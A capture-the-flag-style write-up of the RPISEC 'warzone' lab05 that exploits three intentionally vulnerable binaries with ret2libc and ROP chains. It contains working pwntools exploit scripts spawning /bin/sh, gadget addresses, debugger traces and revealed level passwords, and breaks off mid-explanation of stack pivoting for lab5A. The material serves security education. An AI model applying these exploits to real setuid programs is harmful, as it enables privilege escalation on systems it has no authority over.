In the last writeup we used different format string vulnerabilites in order to exploit the provided binaries. This writeup continues with lab05 which introduces DEP and ROP.
As usual there are three levels ranging from C to A:
–> lab5C
–> lab5B
–> lab5A
lab5C
We start by connecting to the first level of lab05 using the credentials lab5C with the password lab05start:
gameadmin@warzone:~$ sudo ssh lab5C@localhost
[sudo] password for gameadmin:
lab5C@localhost's password: (lab05start)
____________________.___ _____________________________
\______ \______ \ |/ _____/\_ _____/\_ ___ \
| _/| ___/ |\_____ \ | __)_ / \ \/
| | \| | | |/ \ | \\ \____
|____|_ /|____| |___/_______ //_______ / \______ /
\/ \/ \/ \/
__ __ _____ ____________________________ _______ ___________
/ \ / \/ _ \\______ \____ /\_____ \ \ \ \_ _____/
\ \/\/ / /_\ \| _/ / / / | \ / | \ | __)_
\ / | \ | \/ /_ / | \/ | \| \
\__/\ /\____|__ /____|_ /_______ \\_______ /\____|__ /_______ /
\/ \/ \/ \/ \/ \/ \/
--------------------------------------------------------
Challenges are in /levels
Passwords are in /home/lab*/.pass
You can create files or work directories in /tmp
-----------------[ contact@rpis.ec ]-----------------
Last login: Mon Jan 22 05:48:49 2018 from localhost
Let’s have a look at the source code:
lab5C@warzone:/levels/lab05$ cat lab5C.c
#include <stdlib.h>
#include <stdio.h>
/* gcc -fno-stack-protector -o lab5C lab5C.c */
char global_str[128];
/* reads a string, copies it to a global */
void copytoglobal()
{
char buffer[128] = {0};
gets(buffer);
memcpy(global_str, buffer, 128);
}
int main()
{
char buffer[128] = {0};
printf("I included libc for you...\n"\
"Can you ROP to system()?\n");
copytoglobal();
return EXIT_SUCCESS;
}
What does the program do?
–> In the main
function printf
is called (line 20-21).
–> The function copytoglobal
defines a local char array sized 128 bytes (buffer
, line 11).
–> This buffer is passed as an argument to a call to gets
(line 12).
Where is the vulnerability within the program?
This is quite obvious: the function gets
reads from stdin
into buffer
until a newline
character is read or the end-of-file
is reached. There is no boundary checking and we can thus exploit this vulnerability to overwrite all values following the buffer on the stack.
The 4th line of the source code already contains the gcc
command which has been used to compile the binary. The option -fno-stack-protector
tells gdb
not to embed a stack canary.
We can also use checksec
to list all employed security mechanisms:
lab5C@warzone:/levels/lab05$ checksec lab5C
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY FORTIFIED FORTIFY-able FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 lab5C
The difference to the last labs is that NX (No-Execute) or also called Data Executive Protection (DEP) is enabled now. This means that memory regions like that stack are marked as non-executable. If we try to execute an instructions stored on the stack the program will raise a segmentation fault. Thus we cannot simply store a shellcode in the buffer and overwrite the return address with the address of the buffer.
The instructions of the binary itself, which are stored in the .text
section, cannot be marked as non-executable since these instructions are supposed to be executed. We can leverage this fact using a technique called Return Oriented Programming (ROP). The idea of ROP is to recycle instructions which are already present within the binary itself or within shared libraries used by the binary.
The expression Return Oriented Programming is based on the fact that single instructions, which are followed by a ret
instruction, are used. These little code snippets are called ROP-gadgets. In order to carry out more complex tasks, multiple ROP-gadgets can be chained together forming a so called ROP-chain.
If we would like to execute the following instructions:
xor eax, eax
pop eax
pop edx
We would search for these gadgets within the available code:
0x00402a36: xor eax, eax
0x00402a38: ret
0x00403b46: pop eax
0x00403b47: ret
0x004087d2: pop edx
0x004087d3: ret
In order to execute these gadgets we place the following addresses on the stack (the first one overwriting the initial return address):
[ 0x00402a36 ] <-- overwritten return address (1st gadget) [ 0x00403b46 ] <-- 2nd gadget [ 0x004087d2 ] <-- 3rd gadget
When the ret
instruction of the function with the buffer overflow vulnerability is reached it pops the first address from the stack (0x00402a36
) and proceeds the code execution at this address: xor eax, eax
. After that a ret
instruction follows, letting the code executing proceed at the next gadget and so forth. This way we can build together multiple gadgets to a whole ROP-chain.
A special use case of ROP is a technique called return to libc (ret2libc). Since most applications use the standard c-library libc we can use ROP to return to functions within the libc. One function we may want to call is system
.
As we have already seen in the last labs, function arguments are passed on the stack (on a 64bit system function arguments are passed within registers). Thus the stack for this level has to look like this in order to call system("bin/sh")
:
[ address system ] <-- overwritten return address [ JUNK ] <-- 4 bytes junk, this is where the code execution proceeds aftersystem
[ address "/bin/sh" ] <-- first and only argument tosystem
At first we calculate the offset to the return address using a pattern:
gdb-peda$ pattern create 200 /tmp/pat200
Writing pattern of 200 chars to filename "/tmp/pat200"
gdb-peda$ r < /tmp/pat200
Starting program: /levels/lab05/lab5C < /tmp/pat200
I included libc for you...
Can you ROP to system()?
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x20 (' ')
EBX: 0x41416d41 ('AmAA')
ECX: 0x0
EDX: 0x804a060 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA")
ESI: 0x6e414152 ('RAAn')
EDI: 0x41534141 ('AASA')
EBP: 0x41416f41 ('AoAA')
ESP: 0xbffff680 ("AAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
EIP: 0x70414154 ('TAAp')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x70414154
[------------------------------------stack-------------------------------------]
0000| 0xbffff680 ("AAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0004| 0xbffff684 ("AqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0008| 0xbffff688 ("VAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0012| 0xbffff68c ("AAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0016| 0xbffff690 ("AsAAXAAtAAYAAuAAZAAvAAwA")
0020| 0xbffff694 ("XAAtAAYAAuAAZAAvAAwA")
0024| 0xbffff698 ("AAYAAuAAZAAvAAwA")
0028| 0xbffff69c ("AuAAZAAvAAwA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x70414154 in ?? ()
gdb-peda$ pattern offset $eip
1883324756 found at offset: 156
gdb-peda$
The program raised a segmentation fault when trying to access the address 0x70414154
which is part of the pattern gdb-peda
created for us. The offset can be calculated automatically using the command pattern offset $eip
: 156
.
Now we have to get the address of the function system
as well as the string "/bin/sh"
. Luckily the libc contains this string:
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e63190 <__libc_system>;
gdb-peda$ searchmem "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f83a24 ("/bin/sh")
The only thing left do is to construct the final input:
[ ... 156 bytes ... ] <-- fill buffer until return address [ 0xb7e63190 ] <-- address ofsystem
(overwritten return address) [ JUNK ] <-- 4 bytes junk [ 0xb7f83a24 ] <-- address of "/bin/sh" (first and only argument tosystem
)
And write a little python script to run the program with this input:
lab5C@warzone:/levels/lab05$ cat /tmp/exploit_lab5C.py
from pwn import *
addr_system = 0xb7e63190
addr_binsh = 0xb7f83a24
p = process('./lab5C')
print(p.recv(100))
expl = 'X' * 156
expl += p32(addr_system)
expl += "JUNK"
expl += p32(addr_binsh)
p.sendline(expl)
p.interactive()
Running the script:
lab5C@warzone:/levels/lab05$ python /tmp/exploit_lab5C.py
[+] Starting program './lab5C': Done
I included libc for you...
Can you ROP to system()?
[*] Switching to interactive mode
$ whoami
lab5B
$ cat /home/lab5B/.pass
s0m3tim3s_r3t2libC_1s_3n0ugh
Done 🙂 The password for the next level is s0m3tim3s_r3t2libC_1s_3n0ugh
.
lab5B
We connecting to the next level using the previously gained credentials lab5B with the password s0m3tim3s_r3t2libC_1s_3n0ugh:
gameadmin@warzone:~$ sudo ssh lab5B@localhost
lab5B@localhost's password: (s0m3tim3s_r3t2libC_1s_3n0ugh)
____________________.___ _____________________________
\______ \______ \ |/ _____/\_ _____/\_ ___ \
| _/| ___/ |\_____ \ | __)_ / \ \/
| | \| | | |/ \ | \\ \____
|____|_ /|____| |___/_______ //_______ / \______ /
\/ \/ \/ \/
__ __ _____ ____________________________ _______ ___________
/ \ / \/ _ \\______ \____ /\_____ \ \ \ \_ _____/
\ \/\/ / /_\ \| _/ / / / | \ / | \ | __)_
\ / | \ | \/ /_ / | \/ | \| \
\__/\ /\____|__ /____|_ /_______ \\_______ /\____|__ /_______ /
\/ \/ \/ \/ \/ \/ \/
--------------------------------------------------------
Challenges are in /levels
Passwords are in /home/lab*/.pass
You can create files or work directories in /tmp
-----------------[ contact@rpis.ec ]-----------------
Last login: Mon Jan 22 16:04:02 2018 from localhost
Let’s have a look at the source code:
lab5B@warzone:/levels/lab05$ cat lab5B.c
#include <stdlib.h>
#include <stdio.h>
/* gcc -fno-stack-protector --static -o lab5B lab5B.c */
int main()
{
char buffer[128] = {0};
printf("Insert ROP chain here:\n");
gets(buffer);
return EXIT_SUCCESS;
}
The source code is even smaller than the source code from the last level. There is just simple buffer overflow vulnerability, because gets
reads into buffer
without any boundary checking.
More interesting are the gcc
options used to compile the binary on line 4. We can use the buffer overflow to override the return address of the function main
since there is no stack canary (option -fno-stack-protector
). The second option set is --static
, which creates a statically linked binary. In comparison to a dynamically linked binary all required libraries are included in the binary itself. This means that the binary does not need to load any libraries such as the libc. All necessary functions are already included. We can verify that these compiler options have been used with checksec
, file
and radare2
:
lab5B@warzone:/levels/lab05$ checksec lab5B
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY FORTIFIED FORTIFY-able FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH Yes 2 40 lab5B
checksec
tells us that no canary has been found (-fno-stack-protector
) and NX
is enabled. This is the default value for NX
and has been disabled in the previous labs using the option -z execstack
.
The type of linkage can be verified using file
:
lab5B@warzone:/levels/lab05$ file lab5B
lab5B: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=09ad107d6eb5518c5781ccffdad51b39a28e237e, not stripped
The binary is linked statically.
Alternatively we can also use radare2
to get all this information:
[0x08048d2a]> iI
pic false
canary false
nx true
crypto false
va true
bintype elf
class ELF32
lang c
arch x86
bits 32
machine Intel 80386
os linux
subsys linux
endian little
stripped false
static true
linenum true
lsyms true
relocs true
rpath NONE
binsz 737496
The difference to the last level, where we could just return to libc, is that there is no libc here since all required functions are statically linked into the binary. Thus we have to use the available code snippets (gadgets) and create a ROP-chain.
As usual the first thing we need to do is to determine the offset to the return address we want to overwrite:
gdb-peda$ pattern create 200 /tmp/pattern_lab5B
Writing pattern of 200 chars to filename "/tmp/pattern_lab5B"
gdb-peda$ r < /tmp/pattern_lab5B
Starting program: /levels/lab05/lab5B < /tmp/pattern_lab5B
Insert ROP chain here:
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41416b41 ('AkAA')
ECX: 0xfbad2098
EDX: 0x80ec4e0 --> 0x0
ESI: 0x0
EDI: 0x6c414150 ('PAAl')
EBP: 0x41514141 ('AAQA')
ESP: 0xbffff730 ("RAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
EIP: 0x41416d41 ('AmAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41416d41
[------------------------------------stack-------------------------------------]
0000| 0xbffff730 ("RAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0004| 0xbffff734 ("AASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0008| 0xbffff738 ("AoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0012| 0xbffff73c ("TAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0016| 0xbffff740 ("AAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0020| 0xbffff744 ("AqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0024| 0xbffff748 ("VAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0028| 0xbffff74c ("AAWAAsAAXAAtAAYAAuAAZAAvAAwA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41416d41 in ?? ()
gdb-peda$ pattern offset $eip
1094806849 found at offset: 140
Using the gdb-peda
command pattern create
we can easily create a pattern and run the program with that pattern. The offset to the return address can be calculated after the segmentation fault using the command pattern offset $eip
: 140 byte.
The ROP-chain we are going to create should basically do the same as the shellcode we used in the previous labs: execute the syscall sys_execve
passing "/bin/sh"
as argument and thus spawning a shell.
So we are looking for the following instructions:
mov eax, 0x0b
mov ecx, 0x00
mov edx, 0x00
mov ebx, <address of "/bin/sh">
int 0x80
We start with the address of "/bin/sh"
. In the last level we have seen, that the libc usually contains this string. Unfortunately there is no libc here and the string is not part of the binary:
[0x08048d2a]> / /bin/sh
Searching 7 bytes from 0x08048000 to 0x080edf44: 2f 62 69 6e 2f 73 68
# 6 [0x8048000-0x80edf44]
hits: 0
Nevertheless we can just store the string in the buffer ourself. Thus we only need the address of the buffer. We can determine the address using gdb
and setting a breakpoint before the call to gets
:
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x08048e44 <+0>: push ebp
...
0x08048e76 <+50>: mov DWORD PTR [esp],eax
0x08048e79 <+53>: call 0x804f6a0 <gets>
...
0x08048e89 <+69>: ret
End of assembler dump.
gdb-peda$ b *main+53
Breakpoint 1 at 0x8048e79
gdb-peda$ r
Starting program: /levels/lab05/lab5B
Insert ROP chain here:
[----------------------------------registers-----------------------------------]
EAX: 0xbffff6a0 --> 0x0
EBX: 0xbffff6a0 --> 0x0
ECX: 0x80ec4d4 --> 0x0
EDX: 0x17
ESI: 0x0
EDI: 0xbffff720 --> 0x80481a8 (<_init>: push ebx)
EBP: 0xbffff728 --> 0x8049610 (<__libc_csu_fini>: push ebx)
ESP: 0xbffff690 --> 0xbffff6a0 --> 0x0
EIP: 0x8048e79 (<main+53>: call 0x804f6a0 <gets>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048e6d <main+41>: call 0x804f830 <puts>
0x8048e72 <main+46>: lea eax,[esp+0x10]
0x8048e76 <main+50>: mov DWORD PTR [esp],eax
=> 0x8048e79 <main+53>: call 0x804f6a0 <gets>
0x8048e7e <main+58>: mov eax,0x0
0x8048e83 <main+63>: lea esp,[ebp-0x8]
0x8048e86 <main+66>: pop ebx
0x8048e87 <main+67>: pop edi
Guessed arguments:
arg[0]: 0xbffff6a0 --> 0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff690 --> 0xbffff6a0 --> 0x0
0004| 0xbffff694 --> 0x0
0008| 0xbffff698 --> 0xca0000
0012| 0xbffff69c --> 0x1
0016| 0xbffff6a0 --> 0x0
0020| 0xbffff6a4 --> 0x0
0024| 0xbffff6a8 --> 0x0
0028| 0xbffff6ac --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048e79 in main ()
The argument on the stack is the address to the buffer: 0xbffff6a0
.
Now we need to find gadgets which will carry out the instructions we want to execute. As always with x86-assembly there are plenty of ways to do things. The instructions we want to execute are basically mov
instructions. Because it is not very likely that the binary contains the gadget mov ebx, 0xbffff6a0
, it is more common to look for pop
instructions. As we control what is on the stack, we can just place the value we want to be in ebx
on the stack and than execute the gadget pop ebx
.
So we start by looking for pop
gadgets. With radare2
gadgets can be found using the command /R/
(the command should be put into double quotes):
[0x08048d2a]> "/R/ pop eax;ret"
0x0804a0cf 58 pop eax
0x0804a0d0 08f6 or dh, dh
0x0804a0d2 c2df0f ret 0xfdf
0x0804be75 69f2ffff0fb6 imul esi, edx, 0xb60fffff
0x0804be7b 58 pop eax
0x0804be7c 0880fb380f84 or byte [eax - 0x7bf0c705], al
0x0804be82 cf iretd
...
0x080e4c56 58 pop eax
0x080e4c57 c3 ret
...
At 0x080e4c56
there is the gadget we are looking for to place a value in eax
.
We proceed with ecx
, edx
and ebx
:
[0x08048d2a]> "/R/ pop ecx;ret"
...
0x080e55ad 59 pop ecx
0x080e55ae c3 ret
...
Our second gadget to set the value of ecx
is located at 0x080e55ad
.
[0x08048d2a]> "/R/ pop edx;ret"
...
0x080817f6 5a pop edx
0x080817f7 c3 ret
...
The third gadget is located at 0x080817f6
.
[0x08048d2a]> "/R/ pop ebx;ret"
...
0x080bdeca c418 les ebx, [eax]
0x080bdecc 5b pop ebx
0x080bdecd c3 ret
...
At the fourth gadget is located at 0x080bdecc
.
The only instruction missing is the syscall int 0x80
:
[0x08048d2a]> "/R/ int 0x80"
...
0x0806f31b 6690 nop
0x0806f31d 6690 nop
0x0806f31f 90 nop
0x0806f320 cd80 int 0x80
0x0806f322 c3 ret
...
Our final gadget is located at 0x0806f320
.
The following picture illustrates our ROP-chain:
Now we can create a python-script to run our exploit. I used the very comfortable module pwn
(pwntools
) to interact with the program:
lab5B@warzone:/levels/lab05$ cat /tmp/exploit_lab5B.py
from pwn import *
import sys
p = process("./lab5B")
_pop_eax = 0x080e4c56
_pop_ecx = 0x080e55ad
_pop_edx = 0x080817f6
_pop_ebx = 0x080bdecc
_int_80h = 0x0806f320
addr_binsh = 0xbffff6a0
addr_binsh -= int(sys.argv[1], 16)
print(p.recv(100))
expl = "/bin/sh\x00"
expl += "X" * 132
expl += p32(_pop_eax)
expl += p32(0x0b)
expl += p32(_pop_ecx)
expl += p32(0x00)
expl += p32(_pop_edx)
expl += p32(0x00)
expl += p32(_pop_ebx)
expl += p32(addr_binsh)
expl += p32(_int_80h)
p.sendline(expl)
p.interactive()
As usual I added an offset which can be set from command line when running the script since the stack addresses determined using gdb
may vary a little bit:
lab5B@warzone:/levels/lab05$ python /tmp/exploit_lab5B.py 0x00
[+] Starting program './lab5B': Done
Insert ROP chain here:
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
[*] Program './lab5B' stopped with exit code -11
[*] Got EOF while sending in interactive
lab5B@warzone:/levels/lab05$ python /tmp/exploit_lab5B.py 0x10
...
lab5B@warzone:/levels/lab05$ python /tmp/exploit_lab5B.py 0x50
[+] Starting program './lab5B': Done
Insert ROP chain here:
[*] Switching to interactive mode
$ whoami
lab5A
$ cat /home/lab5A/.pass
th4ts_th3_r0p_i_lik3_2_s33
Done! With the offset 0x50
our exploit worked. The password is th4ts_th3_r0p_i_lik3_2_s33
.
lab5A
We connecting to the next level using the previously gained credentials lab5A with the password th4ts_th3_r0p_i_lik3_2_s33:
gameadmin@warzone:~$ sudo ssh lab5A@localhost
lab5A@localhost's password: (th4ts_th3_r0p_i_lik3_2_s33)
____________________.___ _____________________________
\______ \______ \ |/ _____/\_ _____/\_ ___ \
| _/| ___/ |\_____ \ | __)_ / \ \/
| | \| | | |/ \ | \\ \____
|____|_ /|____| |___/_______ //_______ / \______ /
\/ \/ \/ \/
__ __ _____ ____________________________ _______ ___________
/ \ / \/ _ \\______ \____ /\_____ \ \ \ \_ _____/
\ \/\/ / /_\ \| _/ / / / | \ / | \ | __)_
\ / | \ | \/ /_ / | \/ | \| \
\__/\ /\____|__ /____|_ /_______ \\_______ /\____|__ /_______ /
\/ \/ \/ \/ \/ \/ \/
--------------------------------------------------------
Challenges are in /levels
Passwords are in /home/lab*/.pass
You can create files or work directories in /tmp
-----------------[ contact@rpis.ec ]-----------------
Last login: Mon Jan 22 21:48:01 2018 from localhost
As usual we start by analysing the source code:
lab5A@warzone:/levels/lab05$ cat lab5A.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "utils.h"
#define STORAGE_SIZE 100
/* gcc --static -o lab5A lab5A.c */
/* get a number from the user and store it */
int store_number(unsigned int * data)
{
unsigned int input = 0;
int index = 0;
/* get number to store */
printf(" Number: ");
input = get_unum();
/* get index to store at */
printf(" Index: ");
index = (int)get_unum();
/* make sure the slot is not reserved */
if(index % 3 == 0 || index > STORAGE_SIZE || (input >> 24) == 0xb7)
{
printf(" *** ERROR! ***\n");
printf(" This index is reserved for doom!\n");
printf("; *** ERROR! ***\n");
return 1;
}
/* save the number to data storage */
data[index] = input;
return 0;
}
/* returns the contents of a specified storage index */
int read_number(unsigned int * data)
{
int index = 0;
/* get index to read from */
printf(" Index: ");
index = (int)get_unum();
printf(" Number at data[%d] is %u\n", index, data[index]);
return 0;
}
int main(int argc, char * argv[], char * envp[])
{
int res = 0;
char cmd[20] = {0};
unsigned int data[STORAGE_SIZE] = {0};
/* doom doesn't like enviroment variables */
clear_argv(argv);
clear_envp(envp);
printf("----------------------------------------------------\n"\
" Welcome to doom's crappy number storage service! \n"\
" Version 2.0 - With more security! \n"\
"----------------------------------------------------\n"\
" Commands: \n"\
" store - store a number into the data storage \n"\
" read - read a number from the data storage \n"\
" quit - exit the program \n"\
"----------------------------------------------------\n"\
" doom has reserved some storage for himself :> \n"\
"----------------------------------------------------\n"\
"\n");
/* command handler loop */
while(1)
{
/* setup for this loop iteration */
printf("Input command: ");
res = 1;
/* read user input, trim newline */
fgets(cmd, sizeof(cmd), stdin);
cmd[strlen(cmd)-1] = '\0';
/* select specified user command */
if(!strncmp(cmd, "store", 5))
res = store_number(data);
else if(!strncmp(cmd, "read", 4))
res = read_number(data);
else if(!strncmp(cmd, "quit", 4))
break;
/* print the result of our command */
if(res)
printf(" Failed to do %s command\n", cmd);
else
printf(" Completed %s command successfully\n", cmd);
memset(cmd, 0, sizeof(cmd));
}
return EXIT_SUCCESS;
}
You may have noticed that the source code is quite similar to the source code of lab3A.
What does the program do?
–> Within the main
function a 400 byte unsigned integer
array called data
is created (line 58).
–> We can trigger the function store_number
with the command store
(line 90-91).
–> The function reads a number as an unsigned integer
and an index which is cast to an integer
(line 17-18, 21-22).
–> On line 25 the prerequisites for the index and the number are examined:
– index
modulo 3
should not equal 0
.
– index
should not be greater than STORAGE_SIZE
(100
).
– the most significant byte of number
should not be 0xb7
.
–> If these conditions are met, the entered number is stored in data[index]
What are the differences to the program of lab3A?
–> The binary has not been compiled with the -z execstack
option and thus we cannot store and execute shellcode on the stack (we will use ROP).
–> In lab3A the index was an unsigned integer
and was not cast to an integer
.
–> In lab3A there was no check if index
is greater than STORAGE_SIZE
.
What does that mean?
–> In lab3A we could just overwrite the return address of the function main
because we could write beyond the memory for data
.
–> This time we can enter a negative index and thus write before the memory for data
.
–> That means that we cannot overwrite the return address of main
, but we can overwrite the return address of store_number
.
The following picture illustrates the stack layout:
At first we determine the location of the return address of the function store_number
using gdb
:
lab5A@warzone:/levels/lab05$ gdb lab5A
Reading symbols from lab5A...(no debugging symbols found)...done.
gdb-peda$ disassemble store_number
Dump of assembler code for function store_number:
0x08048eae <+0>: push ebp
0x08048eaf <+1>: mov ebp,esp
0x08048eb1 <+3>: sub esp,0x28
...
0x08048f62 <+180>: leave
0x08048f63 <+181>: ret
End of assembler dump.
gdb-peda$ b *store_number+181
Breakpoint 1 at 0x8048f63
gdb-peda$ r
Starting program: /levels/lab05/lab5A
----------------------------------------------------
Welcome to doom's crappy number storage service!
Version 2.0 - With more security!
----------------------------------------------------
Commands:
store - store a number into the data storage
read - read a number from the data storage
quit - exit the program
----------------------------------------------------
doom has reserved some storage for himself :>
----------------------------------------------------
Input command: store
Number: 1
Index: 1
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xbffff568 --> 0x0
ECX: 0x1
EDX: 0xbffff56c --> 0x1
ESI: 0x0
EDI: 0xbffff6f8 ("store")
EBP: 0xbffff728 --> 0x8049990 (<__libc_csu_fini>: push ebx)
ESP: 0xbffff53c --> 0x804912e (<main+378>: mov DWORD PTR [esp+0x24],eax)
EIP: 0x8048f63 (<store_number+181>: ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048f5b <store_number+173>: mov DWORD PTR [edx],eax
0x8048f5d <store_number+175>: mov eax,0x0
0x8048f62 <store_number+180>: leave
=> 0x8048f63 <store_number+181>: ret
0x8048f64 <read_number>: push ebp
0x8048f65 <read_number+1>: mov ebp,esp
0x8048f67 <read_number+3>: sub esp,0x28
0x8048f6a <read_number+6>: mov DWORD PTR [ebp-0xc],0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff53c --> 0x804912e (<main+378>: mov DWORD PTR [esp+0x24],eax)
0004| 0xbffff540 --> 0xbffff568 --> 0x0
0008| 0xbffff544 --> 0x80bfa48 ("store")
0012| 0xbffff548 --> 0x5
0016| 0xbffff54c --> 0x0
0020| 0xbffff550 --> 0x0
0024| 0xbffff554 --> 0x0
0028| 0xbffff558 --> 0xbffff814 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048f63 in store_number ()
I just set a breakpoint on the ret
instruction of store_number
, started the program an entered some numbers. When the breakpoint is hit, we can examine the return address is on top of the stack. The address is located at 0xbffff53c
.
Now we also need the address of the buffer data
:
gdb-peda$ disassemble main
Dump of assembler code for function main:
...
0x08049126 <+370>: mov DWORD PTR [esp],eax
0x08049129 <+373>: call 0x8048eae <store_number>
...
End of assembler dump.
gdb-peda$ b *main+373
Breakpoint 2 at 0x8049129
gdb-peda$ r
Starting program: /levels/lab05/lab5A
----------------------------------------------------
Welcome to doom's crappy number storage service!
Version 2.0 - With more security!
----------------------------------------------------
Commands:
store - store a number into the data storage
read - read a number from the data storage
quit - exit the program
----------------------------------------------------
doom has reserved some storage for himself :>
----------------------------------------------------
Input command: store
[----------------------------------registers-----------------------------------]
EAX: 0xbffff568 --> 0x0
EBX: 0xbffff568 --> 0x0
ECX: 0x80bfa4c --> 0x65720065 ('e')
EDX: 0x72 ('r')
ESI: 0x0
EDI: 0xbffff6f8 ("store")
EBP: 0xbffff728 --> 0x8049990 (<__libc_csu_fini>: push ebx)
ESP: 0xbffff540 --> 0xbffff568 --> 0x0
EIP: 0x8049129 (<main+373>: call 0x8048eae <store_number>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8049120 <main+364>: jne 0x8049134 <main+384>
0x8049122 <main+366>: lea eax,[esp+0x28]
0x8049126 <main+370>: mov DWORD PTR [esp],eax
=> 0x8049129 <main+373>: call 0x8048eae <store_number>
0x804912e <main+378>: mov DWORD PTR [esp+0x24],eax
0x8049132 <main+382>: jmp 0x80491a4 <main+496>
0x8049134 <main+384>: mov DWORD PTR [esp+0x8],0x4
0x804913c <main+392>: mov DWORD PTR [esp+0x4],0x80bfa4e
Guessed arguments:
arg[0]: 0xbffff568 --> 0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff540 --> 0xbffff568 --> 0x0
0004| 0xbffff544 --> 0x80bfa48 ("store")
0008| 0xbffff548 --> 0x5
0012| 0xbffff54c --> 0x0
0016| 0xbffff550 --> 0x0
0020| 0xbffff554 --> 0x0
0024| 0xbffff558 --> 0xbffff814 --> 0x0
0028| 0xbffff55c --> 0xbffff7b8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x08049129 in main ()
As data
is passed as an argument to store_number
we can set a breakpoint right before the call and examine the stack. data
is located at 0xbffff568
.
Now we can calculate the offset:
lab5A@warzone:/levels/lab05$ python -c 'print(0xbffff53c-0xbffff568)'
-44
The offset of the return address of the function store_number
from the buffer data is -44
. Thus the index we need to use in order to overwrite the return address is -44 / 4 = -11
.
Let’s quickly verify that:
gdb-peda$ r
Starting program: /levels/lab05/lab5A
----------------------------------------------------
Welcome to doom's crappy number storage service!
Version 2.0 - With more security!
----------------------------------------------------
Commands:
store - store a number into the data storage
read - read a number from the data storage
quit - exit the program
----------------------------------------------------
doom has reserved some storage for himself :>
----------------------------------------------------
Input command: store
Number: 1094795585
Index: -11
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xbffff568 --> 0x0
ECX: 0xfffffffe
EDX: 0xbffff53c ("AAAAh\365\377\277H\372\v\b")
ESI: 0x0
EDI: 0xbffff6f8 ("store")
EBP: 0xbffff728 --> 0x8049990 (<__libc_csu_fini>: push ebx)
ESP: 0xbffff540 --> 0xbffff568 --> 0x0
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xbffff540 --> 0xbffff568 --> 0x0
0004| 0xbffff544 --> 0x80bfa48 ("store")
0008| 0xbffff548 --> 0x5
0012| 0xbffff54c --> 0x0
0016| 0xbffff550 --> 0x0
0020| 0xbffff554 --> 0x0
0024| 0xbffff558 --> 0xbffff814 --> 0x0
0028| 0xbffff55c --> 0xbffff7b8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
I entered 1094795585
which equals 0x41414141
in hex and stored this value at index -11
. As assumed eip
is set to 0x41414141
and the program raises a segmentation fault. Thus the most important step is done: we control the instruction pointer.
The next thing to do is to build our ROP-chain calling sys_execve("/bin/sh")
. We already did this in the last level but now we are bound to some restrictions:
(1) We cannot use the memory right after the return address we overwrite.
(2) Within the buffer data
we have chunks of 8 bytes, following by 4 bytes which we cannot write to.
We will deal with these two restrictions one after the other:
(1) stack pivoting
In the last level we overwrote the return address with the address of our first gadget and placed all following gadgets and required values right after this. If you have a look at the picture above again you will notice that after the return address of store_number
the argument for the function, followed by locals of main
